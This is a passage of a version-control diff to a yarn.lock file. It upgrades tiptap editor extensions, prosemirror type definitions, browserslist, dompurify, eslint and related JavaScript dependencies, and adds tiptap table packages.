+ resolved "https://registry.yarnpkg.com/@tiptap/extension-dropcursor/-/extension-dropcursor-2.0.0-beta.17.tgz#3ca59c264b49a91c1a5b2ce8de3e898903d0a5bc"
+ integrity sha512-f7hSA4e9xaVi1GAb6JJErVy2QtdpTxjJmtyV8nG7xGvoI0QH1IIiftD88FWGvUGN1CHBg83XpPpmIIFH7oKthw==
dependencies:
- "@types/prosemirror-dropcursor" "^1.0.1"
+ "@types/prosemirror-dropcursor" "^1.0.2"
prosemirror-dropcursor "^1.3.5"
-"@tiptap/extension-floating-menu@^2.0.0-beta.16":
- version "2.0.0-beta.16"
- resolved "https://registry.yarnpkg.com/@tiptap/extension-floating-menu/-/extension-floating-menu-2.0.0-beta.16.tgz#109226c060351b83916441cd58d631eff47d6bb2"
- integrity sha512-ByiBBZHOhVH2SslWjc/rwo/aQFJpAfMJAELw1Q8CaUqzTCbgQzvuyM+y6dGL/uLuZuvtncLyPYcGhnK87mZb2Q==
+"@tiptap/extension-floating-menu@^2.0.0-beta.18":
+ version "2.0.0-beta.18"
+ resolved "https://registry.yarnpkg.com/@tiptap/extension-floating-menu/-/extension-floating-menu-2.0.0-beta.18.tgz#4d9b7f58c73f6c718a74503c5ff514b06f615e27"
+ integrity sha512-1fCRGdTxCiRm5DV91GwKYn9yu43oonq6iuRAlgcTZ2ON03MAAG55j+cDA2S3JSwbsA7Vr49ijmXBY/fEdU/fiQ==
dependencies:
prosemirror-state "^1.3.4"
- prosemirror-view "^1.18.7"
+ prosemirror-view "^1.18.8"
tippy.js "^6.3.1"
-"@tiptap/extension-gapcursor@^2.0.0-beta.17":
- version "2.0.0-beta.17"
- resolved "https://registry.yarnpkg.com/@tiptap/extension-gapcursor/-/extension-gapcursor-2.0.0-beta.17.tgz#774037fddab50379b21a58cab91bfd988b9b793f"
- integrity sha512-ItucjmbjpIfjBkoarkekfZ2BB4nsJuBptZc2xWj36zpC9ehQvH3uVcgyRPM/5To2gvj4uj8MmYyxO8Q6/PszAg==
+"@tiptap/extension-gapcursor@^2.0.0-beta.18":
+ version "2.0.0-beta.18"
+ resolved "https://registry.yarnpkg.com/@tiptap/extension-gapcursor/-/extension-gapcursor-2.0.0-beta.18.tgz#67c2266ec21c90f003e989862b709475f5427fea"
+ integrity sha512-J75xnNrNWHILZviu5ikHtIKF5WFMmmAgkwyateNwgoMwRpyTrZI5Go2LpZ1VEw4AhEA2OcBEvPBEtxWefrBV5g==
dependencies:
- "@types/prosemirror-gapcursor" "^1.0.3"
+ "@types/prosemirror-gapcursor" "^1.0.4"
prosemirror-gapcursor "^1.1.5"
-"@tiptap/extension-hard-break@^2.0.0-beta.13":
- version "2.0.0-beta.13"
- resolved "https://registry.yarnpkg.com/@tiptap/extension-hard-break/-/extension-hard-break-2.0.0-beta.13.tgz#36b5433e70e8eac121d6d26871ff60527b500442"
- integrity sha512-C84BzpP3G+86iPJOyJTlfA7RK2IhLkiosvo3qKzPMCELVc2I8mICbuA7cEbveO0Rpg24AAyeec0Q0GYf+WiItw==
+"@tiptap/extension-hard-break@^2.0.0-beta.14":
+ version "2.0.0-beta.14"
+ resolved "https://registry.yarnpkg.com/@tiptap/extension-hard-break/-/extension-hard-break-2.0.0-beta.14.tgz#dce00c49dc614caac82720b930501a59b38d5584"
+ integrity sha512-PbGQJGvgYdsEzeHidlodVCaOkcPaib4A7i0MJlXIyzUnBz8Eiv5+Ks2UBG5JgfBB4GGopatZaLfz8VkG3qfGxw==
-"@tiptap/extension-heading@^2.0.0-beta.13":
- version "2.0.0-beta.13"
- resolved "https://registry.yarnpkg.com/@tiptap/extension-heading/-/extension-heading-2.0.0-beta.13.tgz#7d6f4a0e28af47ad1a1e455af01dbd1997a9f948"
- integrity sha512-fGuFs6ZG1mBWceSwes4fAWf4d97xKhbdDWaMjo2+2WAdx6y9fX1s64psYJYwQ5KXnKHaCU+JBPged9igDcXVsg==
+"@tiptap/extension-heading@^2.0.0-beta.14":
+ version "2.0.0-beta.14"
+ resolved "https://registry.yarnpkg.com/@tiptap/extension-heading/-/extension-heading-2.0.0-beta.14.tgz#63df6d7282afd3c2db2253af2e538c3bf2800751"
+ integrity sha512-ezJRM5ikZK5bmzYCsvq6xCw1KlellSwHcmAVJsupHk3aPD3UF2IEXnKQYbtDjGN62sB2KwnNy6gKFJ5v48gpxA==
dependencies:
prosemirror-inputrules "^1.1.3"
-"@tiptap/extension-history@^2.0.0-beta.12":
- version "2.0.0-beta.12"
- resolved "https://registry.yarnpkg.com/@tiptap/extension-history/-/extension-history-2.0.0-beta.12.tgz#a25607aab594998d6b46576724d56701a2833689"
- integrity sha512-8H7fQ1dHMAnNxRar6WOdDJ9+7/S7DX8Mg2hJbahUqN3UfTKZxqorXJB+k/QSeicozz5xWHp+b/RxqiHA3nMu5g==
+"@tiptap/extension-history@^2.0.0-beta.14":
+ version "2.0.0-beta.14"
+ resolved "https://registry.yarnpkg.com/@tiptap/extension-history/-/extension-history-2.0.0-beta.14.tgz#7990a592a521ca4147e733eed78fcb738ed6ba95"
+ integrity sha512-Uf9FKgp2/+Z1FD5R55huDvkBorZZMeOU3dfo8K4YL/lnSc4Yyk4huQu+6kK9XDrisIK68NlfYY1GFts49KbZmA==
dependencies:
- "@types/prosemirror-history" "^1.0.2"
+ "@types/prosemirror-history" "^1.0.3"
prosemirror-history "^1.1.3"
-"@tiptap/extension-horizontal-rule@^2.0.0-beta.16":
- version "2.0.0-beta.16"
- resolved "https://registry.yarnpkg.com/@tiptap/extension-horizontal-rule/-/extension-horizontal-rule-2.0.0-beta.16.tgz#7f8a3e14de2fc8bbb52816a697450a61d8797689"
- integrity sha512-Yh8AM5ArI/FfzdA0TcvIZEpMkRo0Rd9lLyEXYfWV0Be6qkPApa/QDzEreQMf4JIKDE8z0R0yX0XRxh/N5iUmew==
+"@tiptap/extension-horizontal-rule@^2.0.0-beta.17":
+ version "2.0.0-beta.17"
+ resolved "https://registry.yarnpkg.com/@tiptap/extension-horizontal-rule/-/extension-horizontal-rule-2.0.0-beta.17.tgz#25c15bfab5794a3f1bcf6f4df03bef56ddac80aa"
+ integrity sha512-JDjwRSEWFTgdx0ob4zKjfzKcRxkiQTyPEGEZ2uIcTeXTPD0B0j2ysuWIWnqgwtpFdYfv1wOCU59kNLQx+a5JmA==
dependencies:
prosemirror-state "^1.3.4"
-"@tiptap/extension-image@^2.0.0-beta.13":
- version "2.0.0-beta.13"
- resolved "https://registry.yarnpkg.com/@tiptap/extension-image/-/extension-image-2.0.0-beta.13.tgz#58a2e66533e2ef63e67aeb7980fe642b75fa17a0"
- integrity sha512-3uapkYVV8xp62+qYWteKYYIzUgP8AK8HzWFnnN/QMO5yZg7Me3u+r+1hJ7FrCQeT+4IyxBlni7jHDEDftmVR4w==
+"@tiptap/extension-image@^2.0.0-beta.14":
+ version "2.0.0-beta.14"
+ resolved "https://registry.yarnpkg.com/@tiptap/extension-image/-/extension-image-2.0.0-beta.14.tgz#31eae69cce3d81af81a1c0fbd253beca3c253429"
+ integrity sha512-OguktQVJ8D0wFm8jrnct16Pu+T5J0N+rzMNk5kguJJCMiFjhQZ4USZw5jHU6BIAKwulupXmZ/PUBIYCx02LhIA==
-"@tiptap/extension-italic@^2.0.0-beta.13":
- version "2.0.0-beta.13"
- resolved "https://registry.yarnpkg.com/@tiptap/extension-italic/-/extension-italic-2.0.0-beta.13.tgz#8b0810e41dc5c3bfb0640d638b0b40464cd81fea"
- integrity sha512-IUvXnR9bnOiyE+k0Oa2ugCW5p5Nibvstr6W6g/C6RA36AbV9K/zr4XzQgClfZo96pM8Ay5Ia+jCYeYGOD6Mdaw==
+"@tiptap/extension-italic@^2.0.0-beta.14":
+ version "2.0.0-beta.14"
+ resolved "https://registry.yarnpkg.com/@tiptap/extension-italic/-/extension-italic-2.0.0-beta.14.tgz#5b56a806ef6507dc2001eaeeeb234ee0b25d8544"
+ integrity sha512-kDdHVHfHuQe3s0A+xrJm0OTE3MrCRWDFHiJ+rC5JnY3/b8GEzovOD6cslz6CeVSZAUDERmHKVPF+ioAct7HXtw==
-"@tiptap/extension-link@^2.0.0-beta.17":
- version "2.0.0-beta.17"
- resolved "https://registry.yarnpkg.com/@tiptap/extension-link/-/extension-link-2.0.0-beta.17.tgz#5a3c28762cf332bb4de0fb13ce6973b11496697a"
- integrity sha512-/xvUEMRh3E651kXidTEpmlSGqdVXjtnA0KuVModmCmxMchDCpO7kTIpjzS60joCl2Nx2WgICFoJ4SO6dSTMf/w==
+"@tiptap/extension-link@^2.0.0-beta.18":
+ version "2.0.0-beta.18"
+ resolved "https://registry.yarnpkg.com/@tiptap/extension-link/-/extension-link-2.0.0-beta.18.tgz#792c671daf3db79873b8425e68da43dd19af230b"
+ integrity sha512-i87vd82hsBCw6ROR8qjffWMsm7pd/4kwqhytq3l8zrArWLZXxC6JwknYjVNcwiWs2JFr+xJNAnzNgr0oGXguTg==
dependencies:
prosemirror-state "^1.3.4"
@@ -1450,36 +1458,59 @@
resolved "https://registry.yarnpkg.com/@tiptap/extension-list-item/-/extension-list-item-2.0.0-beta.13.tgz#49f32d70a554897ffa3b37b492ebaf5953f8a975"
integrity sha512-5nvrCvcV35J6WjLd8xQCQWnj2HIDsfTalr0D57jMwym3ZCIEvLwf23DQQ1nNsOHhopmS/Emixh+RQpXUZjH8lQ==
-"@tiptap/extension-ordered-list@^2.0.0-beta.13":
- version "2.0.0-beta.13"
- resolved "https://registry.yarnpkg.com/@tiptap/extension-ordered-list/-/extension-ordered-list-2.0.0-beta.13.tgz#4df2264e1405f73848cd2fedcea95f3064911cd7"
- integrity sha512-BX4cGRmiNJ/n6VHao7BALJOMAofwcp1zrleWI5d0/7YqkUKP7ExIMiRFVrgjrg4qxq9cVNXa00GLs++FeuySQA==
+"@tiptap/extension-ordered-list@^2.0.0-beta.14":
+ version "2.0.0-beta.14"
+ resolved "https://registry.yarnpkg.com/@tiptap/extension-ordered-list/-/extension-ordered-list-2.0.0-beta.14.tgz#54487f8b9246226586d0190d07a449a97536436a"
+ integrity sha512-7Tq8jotj7WSUIRlMhNWCv6u99Yu+lyuI8SLx7hRZbmUiGShCQX1J5YI+dti4qlrlhOjjqs1kV95Dgg0JaBtNQw==
dependencies:
prosemirror-inputrules "^1.1.3"
-"@tiptap/extension-paragraph@^2.0.0-beta.14":
- version "2.0.0-beta.14"
- resolved "https://registry.yarnpkg.com/@tiptap/extension-paragraph/-/extension-paragraph-2.0.0-beta.14.tgz#6b8c64166f3b581a1f8e1ae415b895e5bd2952d1"
- integrity sha512-IFc2/WMgmpPTRS/h++5vNCiSyT4yTj/NGG9L+x35aPCDQutTYW2V2i1Lwe2lcxpPVF4ofDX50skjdIiWZoGEqA==
+"@tiptap/extension-paragraph@^2.0.0-beta.15":
+ version "2.0.0-beta.15"
+ resolved "https://registry.yarnpkg.com/@tiptap/extension-paragraph/-/extension-paragraph-2.0.0-beta.15.tgz#89483a2f438d8412287d441c890304985c2ac07f"
+ integrity sha512-mYGjo85oyLVwgWc8+XZ0cvr5GSHSKvkj5t2t1PyHXDmt6Nhl5cJcHgXDztIUhyh0gbRVFKjwQMeUAZWg6DGxMg==
+
+"@tiptap/extension-strike@^2.0.0-beta.16":
+ version "2.0.0-beta.16"
+ resolved "https://registry.yarnpkg.com/@tiptap/extension-strike/-/extension-strike-2.0.0-beta.16.tgz#cccce9713824e05ebde895f84f747b8bbed45f7d"
+ integrity sha512-SPSCUVzxFLKZzgMXYfeUZE+xy52CJckswo0dZ/8NcUthl3mkDS/TwzokpQ/wsyEsKaJNYt8vh2S9HpadSrLcug==
+
+"@tiptap/extension-table-cell@^2.0.0-beta.13":
+ version "2.0.0-beta.13"
+ resolved "https://registry.yarnpkg.com/@tiptap/extension-table-cell/-/extension-table-cell-2.0.0-beta.13.tgz#c01eada4859d5ea487d61e68cc7fab7ed2e4842a"
+ integrity sha512-dnPMsBySCbOLG9irQt+cle44y6RxNVwEdknpVocjME6wAgyLpyiShHpS4Tq1j6jAhTYcXR29lNCVMcsIwzSK0A==
-"@tiptap/extension-strike@^2.0.0-beta.15":
+"@tiptap/extension-table-header@^2.0.0-beta.15":
version "2.0.0-beta.15"
- resolved "https://registry.yarnpkg.com/@tiptap/extension-strike/-/extension-strike-2.0.0-beta.15.tgz#c274ae85b1067f80d45a1cb30d0cad24733c9be7"
- integrity sha512-8R6L4jVxeGabItZ2a4B8lvcy60yhD95nRkO4ruH4iBQ5qlyGwShRbvuJQQGT/2j2RY7W793nXZ/Uohcd/5gJCw==
+ resolved "https://registry.yarnpkg.com/@tiptap/extension-table-header/-/extension-table-header-2.0.0-beta.15.tgz#884d16f104671ee672f1f629f4e4fef0b096bfbb"
+ integrity sha512-8K0YXFG7bcM1iMZ1pAVcshXdchDQv17a1jGjKXC1+e1NjH1eb/Ya8eyFWlyxC0ZjAFNzQF4r3mGzmGTbWoI6cA==
+
+"@tiptap/extension-table-row@^2.0.0-beta.13":
+ version "2.0.0-beta.13"
+ resolved "https://registry.yarnpkg.com/@tiptap/extension-table-row/-/extension-table-row-2.0.0-beta.13.tgz#3f9a61112afcde750228f4437ae3cd7b82d02f74"
+ integrity sha512-tGE3/ADBaVgpBYXgdx5YkAs7waYLKDRormUXKNnTpR+4qVHKUmXrDUTdJ2urXaANaB95F8R5Lj146h+EYiLxgw==
+
+"@tiptap/extension-table@^2.0.0-beta.25":
+ version "2.0.0-beta.25"
+ resolved "https://registry.yarnpkg.com/@tiptap/extension-table/-/extension-table-2.0.0-beta.25.tgz#57accf19c07e96bd0db868eb791da20bd423af36"
+ integrity sha512-mVUJL3FKX1vksmrnUcNqRzbAk4kJjKVxAf5RMuUQRcyp8sp3vJinR/C8v5nBrDgurXLB3wF0bD2/FRu7GWEqPA==
+ dependencies:
+ prosemirror-tables "^1.1.1"
+ prosemirror-view "^1.18.8"
"@tiptap/extension-text@^2.0.0-beta.12":
version "2.0.0-beta.12"
resolved "https://registry.yarnpkg.com/@tiptap/extension-text/-/extension-text-2.0.0-beta.12.tgz#b857f36dda5e8cedd350f9bad7115e4060f8d9c0"
integrity sha512-JEWLYOJKSpmpaI0YTzj30uodpsrSYDGSvy5dT5bYvWovIvLmggKPHl0iKIPDWAM5xfd07CkP2+BFFRblMh96IA==
-"@tiptap/vue-2@^2.0.0-beta.34":
- version "2.0.0-beta.34"
- resolved "https://registry.yarnpkg.com/@tiptap/vue-2/-/vue-2-2.0.0-beta.34.tgz#df9309eb812b50a85315c4623ac222db751fc97a"
- integrity sha512-gt45v1GgTWDh/cVcWHW3Nn80pLi/qQMInn1bv/zVUTGZxay5kstLJ5eD7yQ3SfS9oOS3ubRDkdYdhbUKUYH0hw==
+"@tiptap/vue-2@^2.0.0-beta.39":
+ version "2.0.0-beta.39"
+ resolved "https://registry.yarnpkg.com/@tiptap/vue-2/-/vue-2-2.0.0-beta.39.tgz#f6d75af99b072848381f0c443b50ec09186eb43b"
+ integrity sha512-O8hCzrAZTbjebcD3XWsbUieudnD7rvDFGmHSRmb0igg//ARO43IWe2xdu2Hlx1MT9b+83YjgDhRyMjHcsKRtzw==
dependencies:
- "@tiptap/extension-bubble-menu" "^2.0.0-beta.20"
- "@tiptap/extension-floating-menu" "^2.0.0-beta.16"
- prosemirror-view "^1.18.7"
+ "@tiptap/extension-bubble-menu" "^2.0.0-beta.24"
+ "@tiptap/extension-floating-menu" "^2.0.0-beta.18"
+ prosemirror-view "^1.18.8"
"@toast-ui/editor@^2.5.2":
version "2.5.2"
@@ -1601,10 +1632,10 @@
resolved "https://registry.yarnpkg.com/@types/json5/-/json5-0.0.29.tgz#ee28707ae94e11d2b827bcbe5270bcea7f3e71ee"
integrity sha1-7ihweulOEdK4J7y+UnC86n8+ce4=
-"@types/lowlight@^0.0.2":
- version "0.0.2"
- resolved "https://registry.yarnpkg.com/@types/lowlight/-/lowlight-0.0.2.tgz#bb517f1486477a8c59dea11be0dfaf96d629d35d"
- integrity sha512-37DldsUs2l4rXI2YQgVn+NKVEaaUbBIzJg3eYzAXimGrtre8vxqE65wAGqYs9W6IsoOfgj74se/rBc9yoRXOHQ==
+"@types/lowlight@^0.0.3":
+ version "0.0.3"
+ resolved "https://registry.yarnpkg.com/@types/lowlight/-/lowlight-0.0.3.tgz#433b03dd63894dde17860063f4c90a688431194b"
+ integrity sha512-R83q/yPX2nIlo9D3WtSjyUDd57t8s+GVLaL8YIv3k7zMMWpYpOXqjJgrWp80qXUJB/a1t76nTyBpxrv0JNYaEg==
"@types/mdast@^3.0.0":
version "3.0.3"
@@ -1662,25 +1693,25 @@
"@types/prosemirror-state" "*"
"@types/prosemirror-view" "*"
-"@types/prosemirror-dropcursor@^1.0.1":
- version "1.0.1"
- resolved "https://registry.yarnpkg.com/@types/prosemirror-dropcursor/-/prosemirror-dropcursor-1.0.1.tgz#3ba98dd861ff2a62559e70f453f996a1ef5ec55d"
- integrity sha512-nHokhFypOZjknolZBm2XShlR7fx1IUcCiA3S2fBwmAraWu6zv3gboDSwwFpoS9UB2xKc4ismAmBxh2bpL3YNkg==
+"@types/prosemirror-dropcursor@^1.0.2":
+ version "1.0.2"
+ resolved "https://registry.yarnpkg.com/@types/prosemirror-dropcursor/-/prosemirror-dropcursor-1.0.2.tgz#476b90a661f32d6d6a21599f53fcd71e36c65a1f"
+ integrity sha512-5Ez7yIAvHQgn5YJkuafEh0w4sHV7pksCX9LTPBFRjCuznamcKsnYCez4mR0PwIWq/WuPDvHkR+wqKb4l0t9/aQ==
dependencies:
"@types/prosemirror-state" "*"
-"@types/prosemirror-gapcursor@^1.0.3":
- version "1.0.3"
- resolved "https://registry.yarnpkg.com/@types/prosemirror-gapcursor/-/prosemirror-gapcursor-1.0.3.tgz#989e98c734e01e2ed4cab39992e60a1b0646cab6"
- integrity sha512-kBVjjbMmUk7ZsgpI1NOyY15makulu1skEGr+V9GgY7GQnT9vqjo8/XiNSgSj9s9vRTsTb/KAaTI9KJwWlhbhxQ==
+"@types/prosemirror-gapcursor@^1.0.4":
+ version "1.0.4"
+ resolved "https://registry.yarnpkg.com/@types/prosemirror-gapcursor/-/prosemirror-gapcursor-1.0.4.tgz#7df7d373edb33ea8da12084bfd462cf84cd69761"
+ integrity sha512-9xKjFIG5947dzerFvkLWp6F53JwrUYoYwh3SgcTFEp8SbSfNNrez/PFYVZKPnoqPoaK5WtTdQTaMwpCV9rXQIg==
dependencies:
"@types/prosemirror-model" "*"
"@types/prosemirror-state" "*"
-"@types/prosemirror-history@^1.0.2":
- version "1.0.2"
- resolved "https://registry.yarnpkg.com/@types/prosemirror-history/-/prosemirror-history-1.0.2.tgz#f90a009a0dcd71393faa69ce705593dec76347a1"
- integrity sha512-AcfpWo+HkIuvq/H2zYjIMi2jxa2GWfYaTNiFTB2sigjkpWNM93CIlb7Cimy/4vNH8lVPp0GwLBjYIMRX6zOUyA==
+"@types/prosemirror-history@^1.0.3":
+ version "1.0.3"
+ resolved "https://registry.yarnpkg.com/@types/prosemirror-history/-/prosemirror-history-1.0.3.tgz#f1110efbe758129b5475e466ff077f0a8d9b964f"
+ integrity sha512-5TloMDRavgLjOAKXp1Li8u0xcsspzbT1Cm9F2pwHOkgvQOz1jWQb2VIXO7RVNsFjLBZdIXlyfSLivro3DuMWXg==
dependencies:
"@types/prosemirror-model" "*"
"@types/prosemirror-state" "*"
@@ -1703,10 +1734,10 @@
"@types/prosemirror-state" "*"
"@types/prosemirror-view" "*"
-"@types/prosemirror-model@*", "@types/prosemirror-model@^1.13.0":
- version "1.13.0"
- resolved "https://registry.yarnpkg.com/@types/prosemirror-model/-/prosemirror-model-1.13.0.tgz#d05937e918c3cac2cf49630ccab04a65fc5fffd6"
- integrity sha512-EIUr2R38Zh9n1eA8BQ1C3NX/XLV9U44DhNVk8x3Sth2RW+wa7jNA82XHMPOoapsOTfmpnh32xaHBOzREiBqdPQ==
+"@types/prosemirror-model@*", "@types/prosemirror-model@^1.13.1":
+ version "1.13.1"
+ resolved "https://registry.yarnpkg.com/@types/prosemirror-model/-/prosemirror-model-1.13.1.tgz#53df04ee174a7e1dc12747005b1b4c02565adcc4"
+ integrity sha512-tA1AlI+YR2t3Ve5eeQVJnQm4yV4wVlNfeogHusD1X3OEqqMYTuPssThgIMR4PxPHtvV871Ix8a20bUiJvULDgw==
dependencies:
"@types/orderedmap" "*"
@@ -1719,26 +1750,26 @@
"@types/prosemirror-model" "*"
"@types/prosemirror-state" "*"
-"@types/prosemirror-state@*", "@types/prosemirror-state@^1.2.6":
- version "1.2.6"
- resolved "https://registry.yarnpkg.com/@types/prosemirror-state/-/prosemirror-state-1.2.6.tgz#bb0169084239a8393b354c6fda5420fc347d6bab"
- integrity sha512-tJo0wC+/cQvbrPDVx01Fnng9Fs41bAMVxgJY1KLOyIsUPN0otUN1KdoQurLMmHNHTvIna9ZXxjZD//xJKLYfJw==
+"@types/prosemirror-state@*", "@types/prosemirror-state@^1.2.7":
+ version "1.2.7"
+ resolved "https://registry.yarnpkg.com/@types/prosemirror-state/-/prosemirror-state-1.2.7.tgz#cd55062e4043a31e3426f47668f1d7038b5d8dfb"
+ integrity sha512-clJf5uw3/XQnBJtl2RqYXoLMGBySnLYl43xtDvFfQZKkLnnYcM1SDU8dcz7lWjl2Dm+H98RpLOl44pp7DYT+wA==
dependencies:
"@types/prosemirror-model" "*"
"@types/prosemirror-transform" "*"
"@types/prosemirror-view" "*"
-"@types/prosemirror-transform@*", "@types/prosemirror-transform@^1.1.3":
- version "1.1.3"
- resolved "https://registry.yarnpkg.com/@types/prosemirror-transform/-/prosemirror-transform-1.1.3.tgz#cf30d275976978d1c0317d0659145426fc49ce6f"
- integrity sha512-qtnd4jMoBgUAF2Vy2uRCVY4/LN3d069PP9XTIKrfk7mwWPYKonBYv1NsaBGTpK26sOPu0p7eJNZwaiNYmbfIwA==
+"@types/prosemirror-transform@*", "@types/prosemirror-transform@^1.1.4":
+ version "1.1.4"
+ resolved "https://registry.yarnpkg.com/@types/prosemirror-transform/-/prosemirror-transform-1.1.4.tgz#c3565e81b2ef3ce3254e6927d6f63eb8d7bb20d0"
+ integrity sha512-HP1PauvkqSgDquZut8HaLOTUDQ6jja/LAy4OA7tTS1XG7wqRnX3gLUyEj0mD6vFd4y8BPkNddNdOh/BeGHlUjg==
dependencies:
"@types/prosemirror-model" "*"
-"@types/prosemirror-view@*", "@types/prosemirror-view@^1.17.1":
- version "1.17.1"
- resolved "https://registry.yarnpkg.com/@types/prosemirror-view/-/prosemirror-view-1.17.1.tgz#0895df5a57ae6e68d4f3f8020d9be4ef52192980"
- integrity sha512-PNiGGc6BffxHQzMR09UUilsBR8xFPDsKiPIXb4K/g56voPIvqq1pqySnWFfSR50Vo4ZL0tss3VBLWiiiKzVahQ==
+"@types/prosemirror-view@*", "@types/prosemirror-view@^1.17.2":
+ version "1.17.2"
+ resolved "https://registry.yarnpkg.com/@types/prosemirror-view/-/prosemirror-view-1.17.2.tgz#3aff71a0802bdfc310404db8a37ced2db69fd74f"
+ integrity sha512-1yUTQZ3yx2YvJTHZdY/rmvSiJ8tJLhUmlNgbFdkFaFcKC6LTBntg5lQvOZ53Aytadab+M/xz7/TzGX8iYB/7gw==
dependencies:
"@types/prosemirror-model" "*"
"@types/prosemirror-state" "*"
@@ -2875,16 +2906,16 @@ browserify-zlib@^0.2.0:
dependencies:
pako "~1.0.5"
-browserslist@^4.12.0, browserslist@^4.8.3:
- version "4.16.1"
- resolved "https://registry.yarnpkg.com/browserslist/-/browserslist-4.16.1.tgz#bf757a2da376b3447b800a16f0f1c96358138766"
- integrity sha512-UXhDrwqsNcpTYJBTZsbGATDxZbiVDsx6UjpmRUmtnP10pr8wAYr5LgFoEFw9ixriQH2mv/NX2SfGzE/o8GndLA==
+browserslist@^4.12.0, browserslist@^4.16.6:
+ version "4.16.6"
+ resolved "https://registry.yarnpkg.com/browserslist/-/browserslist-4.16.6.tgz#d7901277a5a88e554ed305b183ec9b0c08f66fa2"
+ integrity sha512-Wspk/PqO+4W9qp5iUTJsa1B/QrYn1keNCcEP5OvP7WBwT4KaDly0uONYmC6Xa3Z5IqnUgS0KcgLYu1l74x0ZXQ==
dependencies:
- caniuse-lite "^1.0.30001173"
- colorette "^1.2.1"
- electron-to-chromium "^1.3.634"
+ caniuse-lite "^1.0.30001219"
+ colorette "^1.2.2"
+ electron-to-chromium "^1.3.723"
escalade "^3.1.1"
- node-releases "^1.1.69"
+ node-releases "^1.1.71"
bser@2.1.1:
version "2.1.1"
@@ -3071,10 +3102,10 @@ camelcase@^6.0.0:
resolved "https://registry.yarnpkg.com/camelcase/-/camelcase-6.0.0.tgz#5259f7c30e35e278f1bdc2a4d91230b37cad981e"
integrity sha512-8KMDF1Vz2gzOq54ONPJS65IvTUaB1cHJ2DMM7MbPmLZljDH1qpzzLsWdiN9pHh6qvkRVDTi/07+eNGch/oLU4w==
-caniuse-lite@^1.0.30001109, caniuse-lite@^1.0.30001173:
- version "1.0.30001185"
- resolved "https://registry.yarnpkg.com/caniuse-lite/-/caniuse-lite-1.0.30001185.tgz#3482a407d261da04393e2f0d61eefbc53be43b95"
- integrity sha512-Fpi4kVNtNvJ15H0F6vwmXtb3tukv3Zg3qhKkOGUq7KJ1J6b9kf4dnNgtEAFXhRsJo0gNj9W60+wBvn0JcTvdTg==
+caniuse-lite@^1.0.30001109, caniuse-lite@^1.0.30001219:
+ version "1.0.30001241"
+ resolved "https://registry.yarnpkg.com/caniuse-lite/-/caniuse-lite-1.0.30001241.tgz#cd3fae47eb3d7691692b406568d7a3e5b23c7598"
+ integrity sha512-1uoSZ1Pq1VpH0WerIMqwptXHNNGfdl7d1cJUFs80CwQ/lVzdhTvsFZCeNFslze7AjsQnb4C85tzclPa1VShbeQ==
capture-exit@^2.0.0:
version "2.0.0"
@@ -3623,11 +3654,11 @@ copy-webpack-plugin@^6.4.1:
webpack-sources "^1.4.3"
core-js-compat@^3.6.2:
- version "3.6.4"
- resolved "https://registry.yarnpkg.com/core-js-compat/-/core-js-compat-3.6.4.tgz#938476569ebb6cda80d339bcf199fae4f16fff17"
- integrity sha512-zAa3IZPvsJ0slViBQ2z+vgyyTuhd3MFn1rBQjZSKVEgB0UMYhUkCj9jJUVPgGTGqWvsBVmfnruXgTcNyTlEiSA==
+ version "3.15.2"
+ resolved "https://registry.yarnpkg.com/core-js-compat/-/core-js-compat-3.15.2.tgz#47272fbb479880de14b4e6081f71f3492f5bd3cb"
+ integrity sha512-Wp+BJVvwopjI+A1EFqm2dwUmWYXrvucmtIB2LgXn/Rb+gWPKYxtmb4GKHGKG/KGF1eK9jfjzT38DITbTOCX/SQ==
dependencies:
- browserslist "^4.8.3"
+ browserslist "^4.16.6"
semver "7.0.0"
core-js-pure@^3.0.0:
@@ -4516,10 +4547,10 @@ domhandler@^4.0.0, domhandler@^4.2.0:
dependencies:
domelementtype "^2.2.0"
-dompurify@^2.2.9:
- version "2.2.9"
- resolved "https://registry.yarnpkg.com/dompurify/-/dompurify-2.2.9.tgz#4b42e244238032d9286a0d2c87b51313581d9624"
- integrity sha512-+9MqacuigMIZ+1+EwoEltogyWGFTJZWU3258Rupxs+2CGs4H914G9er6pZbsme/bvb5L67o2rade9n21e4RW/w==
+dompurify@^2.3.0:
+ version "2.3.0"
+ resolved "https://registry.yarnpkg.com/dompurify/-/dompurify-2.3.0.tgz#07bb39515e491588e5756b1d3e8375b5964814e2"
+ integrity sha512-VV5C6Kr53YVHGOBKO/F86OYX6/iLTw2yVSI721gKetxpHCK/V5TaLEf9ODjRgl1KLSWRMY6cUhAbv/c+IUnwQw==
domutils@^1.5.1:
version "1.7.0"
@@ -4605,10 +4636,10 @@ ee-first@1.1.1:
resolved "https://registry.yarnpkg.com/ee-first/-/ee-first-1.1.1.tgz#590c61156b0ae2f4f0255732a158b266bc56b21d"
integrity sha1-WQxhFWsK4vTwJVcyoViyZrxWsh0=
-electron-to-chromium@^1.3.634:
- version "1.3.642"
- resolved "https://registry.yarnpkg.com/electron-to-chromium/-/electron-to-chromium-1.3.642.tgz#8b884f50296c2ae2a9997f024d0e3e57facc2b94"
- integrity sha512-cev+jOrz/Zm1i+Yh334Hed6lQVOkkemk2wRozfMF4MtTR7pxf3r3L5Rbd7uX1zMcEqVJ7alJBnJL7+JffkC6FQ==
+electron-to-chromium@^1.3.723:
+ version "1.3.762"
+ resolved "https://registry.yarnpkg.com/electron-to-chromium/-/electron-to-chromium-1.3.762.tgz#3fa4e3bcbda539b50e3aa23041627063a5cffe61"
+ integrity sha512-LehWjRpfPcK8F1Lf/NZoAwWLWnjJVo0SZeQ9j/tvnBWYcT99qDqgo4raAfS2oTKZjPrR/jxruh85DGgDUmywEA==
elliptic@^6.0.0:
version "6.5.4"
@@ -5017,13 +5048,14 @@ eslint-visitor-keys@^2.0.0:
resolved "https://registry.yarnpkg.com/eslint-visitor-keys/-/eslint-visitor-keys-2.0.0.tgz#21fdc8fbcd9c795cc0321f0563702095751511a8"
integrity sha512-QudtT6av5WXels9WjIM7qz1XD1cWGvX4gGXvp/zBn9nXG02D0utdU3Em2m/QjTnrsk6bBjmCygl3rmj118msQQ==
-eslint@7.28.0:
- version "7.28.0"
- resolved "https://registry.yarnpkg.com/eslint/-/eslint-7.28.0.tgz#435aa17a0b82c13bb2be9d51408b617e49c1e820"
- integrity sha512-UMfH0VSjP0G4p3EWirscJEQ/cHqnT/iuH6oNZOB94nBjWbMnhGEPxsZm1eyIW0C/9jLI0Fow4W5DXLjEI7mn1g==
+eslint@7.31.0:
+ version "7.31.0"
+ resolved "https://registry.yarnpkg.com/eslint/-/eslint-7.31.0.tgz#f972b539424bf2604907a970860732c5d99d3aca"
